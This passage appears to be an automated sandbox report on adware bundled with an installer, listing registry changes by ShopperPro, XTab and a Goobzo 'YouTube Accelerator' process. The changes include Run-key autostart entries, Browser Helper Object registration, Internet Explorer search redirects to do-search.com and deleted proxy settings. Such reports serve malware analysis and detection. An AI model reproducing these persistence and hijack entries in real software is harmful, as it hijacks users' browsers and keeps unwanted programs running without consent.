[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\%Program Files% (x86)\Google\Update\1.3.25.11, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\521.json, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images\code, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\images, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\tmp\521.db, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\tmp\ChromeSync.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\tmp\ClearnC.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\tmp\RegWrite.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\tmp\wpm_v20.0.0.2227.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\tmp\XTab_Setup2253.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\tmp, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\tmp, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiB1B4.tmp\DCytaiesmt_smtyc_setup.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiB1B4.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE8DA.tmp\AccDownload.dll, , \??\C:\U"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\ShopperPro]
"UninstallString" = "%Program Files% (x86)\ShopperPro\SPremove.exe"
"DisplayName" = "Shopper-Pro"
"DisplayIcon" = "%Program Files% (x86)\ShopperPro\ShopperPro.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\ShopperPro.exe]
"(Default)" = "%Program Files% (x86)\ShopperPro\ShopperPro.exe"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process XTab_Setup2253.exe:3824 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\TypeLib\{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}\1.0\HELPDIR]
"(Default)" = "%Program Files% (x86)\XTab"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Ext\CLSID]
"{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}" = "1"

[HKLM\SOFTWARE\Wow6432Node\supTab]
"ptid" = "smt"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"TopResultURL" = "http://www.bing.com/search?q={searchTerms}&src=IE-TopResult&FORM=IETR02"
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 46 00 00 00 09 00 00 00 00 00 00 00"

[HKCR\TypeLib\{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}\1.0]
"(Default)" = "SupTabLib"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"FaviconURL" = "http://www.bing.com/favicon.ico"

[HKCR\TypeLib\{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}\1.0\FLAGS]
"(Default)" = "0"

[HKCR\TypeLib\{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}\1.0\0\win32]
"(Default)" = "%Program Files% (x86)\XTab\SupTab.dll"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}]
"(Default)" = "IETabPage Class"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}\TypeLib]
"(Default)" = "{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}\InprocServer32]
"(Default)" = "%Program Files% (x86)\XTab\SupTab.dll"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}]
"(Default)" = "IIETabPage"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Ext\PreApproved]
"{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}" = ""

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"Version" = "1.0"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}\Version]
"(Default)" = "1.0"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"FaviconPath" = "C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico"
"DisplayName" = "Bing"

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"(Default)" = "{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"FaviconURL" = "http://www.google.com/favicon.ico"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}"

[HKLM\SOFTWARE\Wow6432Node\SupDp]
"dir" = "%Program Files% (x86)\XTab"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"FaviconURL" = "http://do-search.com//favicon.ico"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"(Default)" = "{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}"

[HKCU\Software\Microsoft\Internet Explorer\TabbedBrowsing]
"NewTabPageShow" = "0"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}]
"(Default)" = "IIETabPage"

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"Version" = "1.0"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"FaviconPath" = "C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}.ico"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"TopResultURL" = "http://www.google.com/search?q={searchTerms}&sourceid=ie7&rls=com.microsoft:{language}:{referrer:source}&ie={inputEncoding?}&oe={outputEncoding?}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"TopResultURL" = "http://www.istartsurf.com/web/?type=ds&ts=1430092522&from=smt&uid=535559167_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\AdvancedOptions\CRYPTO\PROTECTEDMODESECURITY]
"CheckedValue" = "PMIL"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"FaviconURLFallback" = "http://www.bing.com/favicon.ico"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"DisplayName" = "Google"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"DisplayName" = "e"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\AdvancedOptions\CRYPTO\PROTECTEDMODESECURITY]
"DefaultValue" = "PMIL"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"FaviconPath" = "C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{E733165D-CBCF-4FDA-883E-ADEF965B476C}.ico"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
"AutoDetect"

The process jsdrv.exe:3592 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro\JsDriver\Tracer]
"TraceLevel" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "55 B8 60 89 7C 80 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDecisionTime" = "CD 13 4B 8B 7C 80 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4F 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process ShopperPro.exe:1916 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"UserId" = "aa16bae2-9f42-4100-bb4d-59dffcb51ab1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDecisionTime" = "55 B8 60 89 7C 80 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"NoExplore" = "1"

[HKLM\SOFTWARE\ShopperPro]
"CONFIGLOCATION" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"Aff" = "smtyc"

[HKLM\SOFTWARE\ShopperPro]
"DBLocation" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "B8 47 B0 87 7C 80 D0 01"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"ExeLocation" = "%Program Files% (x86)\ShopperPro"
"Version" = "3.1.9318.1794"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDecision" = "0"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"DBLocation" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4B 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"CONFIGLOCATION" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"ChromeExtFile" = "ShopperPro.crx"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadNetworkName" = "Network 4"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"ChromeExtID" = "ojhagnahfpegocdhlopgljpaafeogmcc"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "ShopperProBHO"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"DriverVersion" = "1.42.0.1794"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro\ExtraInfo]
"DBVersion" = "1.0.1.4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1794\jsdrv.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1794\jsdrv.exe"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process %original file name%.exe:1856 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\%Program Files% (x86)\Google\Update\1.3.25.11, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe,"

The process GLBBFC5.tmp:3604 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Goobzo\YouTube Accelerator]
"InstallTime" = "1430092544"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator]
"ShowTrayMessage" = "0"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"ShowAds" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator]
"(Default)" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\UserInfo]
"Newsletter" = "0"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Aff" = "smtyc0_0_0_0_0,aa16bae2-9f42-4100-bb4d-59dffcb51ab1,"

[HKCU\Software\Goobzo\YouTube Accelerator]
"ShowAds" = "1"

[HKCU\Software\Goobzo\Language\YouTubeAccelerator\Settings]
"CurrentLanguage" = "1033"

[HKCU\Software\Goobzo\YouTube Accelerator]
"DontShowAccelerationNotSupported" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\UserInfo]
"email" = ""

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"Publisher" = "Goobzo Ltd."

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"LspInstall" = "%Program Files% (x86)\YouTube Accelerator\"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\SharedDLLs\C:\Windows\system32]
"AniGIF.ocx" = "1"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"ZippedRules" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"URLInfoAbout" = "http://www.youtubeaccelerator.com/support/"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"InstallTime" = "1430092544"
"DllInstall" = "%Program Files% (x86)\YouTube Accelerator\"

[HKCU\Software\Goobzo\YouTube Accelerator]
"Beta" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"DisplayIcon" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe,-0"
"InstallLocation" = "%Program Files% (x86)\YouTube Accelerator"

[HKCU\Software\Goobzo\YouTube Accelerator]
"HideAccList" = "0"
"ShowTrayIcon" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"HelpLink" = "http://www.youtubeaccelerator.com/about/"

[HKCU\Software\Goobzo\YouTube Accelerator]
"BuildNumber" = "102"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"UninstallString" = "%Program Files% (x86)\YouTube Accelerator\YTAUninstall.exe"

[HKCU\Software\Goobzo\YouTube Accelerator]
"Version" = "3.3.9.6"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"Contact" = "[email protected]"
"DisplayVersion" = "3396(build_102)"

[HKCU\Software\Goobzo\YouTube Accelerator\UserInfo]
"Newsletter" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"DisplayName" = "YouTube Accelerator"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"(Default)" = ""

[HKCU\Software\Goobzo\YouTube Accelerator]
"Aff" = "smtyc0_0_0_0_0,aa16bae2-9f42-4100-bb4d-59dffcb51ab1,"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Version" = "3.3.9.6"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MenuOrder\Start Menu2\Programs\YouTube Accelerator]
"Order" = "E0 80 00 00 00 20 00 00 0D C0 10 00 00 10 00 00"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Beta" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Associations]
"Application" = "http://www.fileextensionpro.com/redir.aspx?s=smtyc0_0_0_0_0,aa16bae2-9f42-4100-bb4d-59dffcb51ab1,&LangID=x&Ext=%s"

[HKCU\Software\Goobzo\YouTube Accelerator]
"RunFinishInstall" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\UserInfo]
"email" = ""

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Engine]

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Goobzo\YouTube Accelerator\UserInfo]
"tver"

[HKCU\Software\Goobzo\YouTube Accelerator]
"Br"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"BrName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"HideAccList"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Engine]
"Mode"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Goobzo\YouTube Accelerator]
"BrName"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Br"
"ShowTrayIcon"

The Application disables automatic startup of the application by deleting the following autorun value:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"YouTubeAccelerator"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GoobzoYouTubeAccelerator"

[HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce]
"VARemove"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"GoobzoYouTubeAccelerator"

The process regsvr32.exe:3916 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\ShopperPro.ShopperProBHO]
"(Default)" = "Shopper Pro"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\VersionIndependentProgID]
"(Default)" = "ShopperPro.ShopperProBHO"

[HKCR\ShopperPro.ShopperProBHO.1\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\InprocServer32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro64.dll"
"ThreadingModel" = "Apartment"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\0\win32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro64.dll"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\ProgID]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "Shopper Pro"

[HKCR\ShopperPro.ShopperProBHO\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\ShopperPro.ShopperProBHO\CurVer]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKCR\AppID\ShopperPro.DLL]
"AppID" = "{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}"

[HKCR\AppID\{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}]
"(Default)" = "ShopperPro"

[HKCR\ShopperPro.ShopperProBHO.1]
"(Default)" = "Shopper Pro"

It registers itself as a Browser Helper Object (BHO) to ensure its automatic execution every time Internet Explorer is run. It does this by creating the following registry key(s)/entry(ies):

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "ShopperProBHO"

"NoExplorer" = "1"

The process regsvr32.exe:3664 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\YTAHelper.YTAHelperBHO.1]
"(Default)" = "YTAHelper"

[HKCR\YTAHelper.YTAHelperBHO.1\CLSID]
"(Default)" = "{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}"

[HKCR\YTAHelper.YTAHelperBHO]
"(Default)" = "YTAHelper"

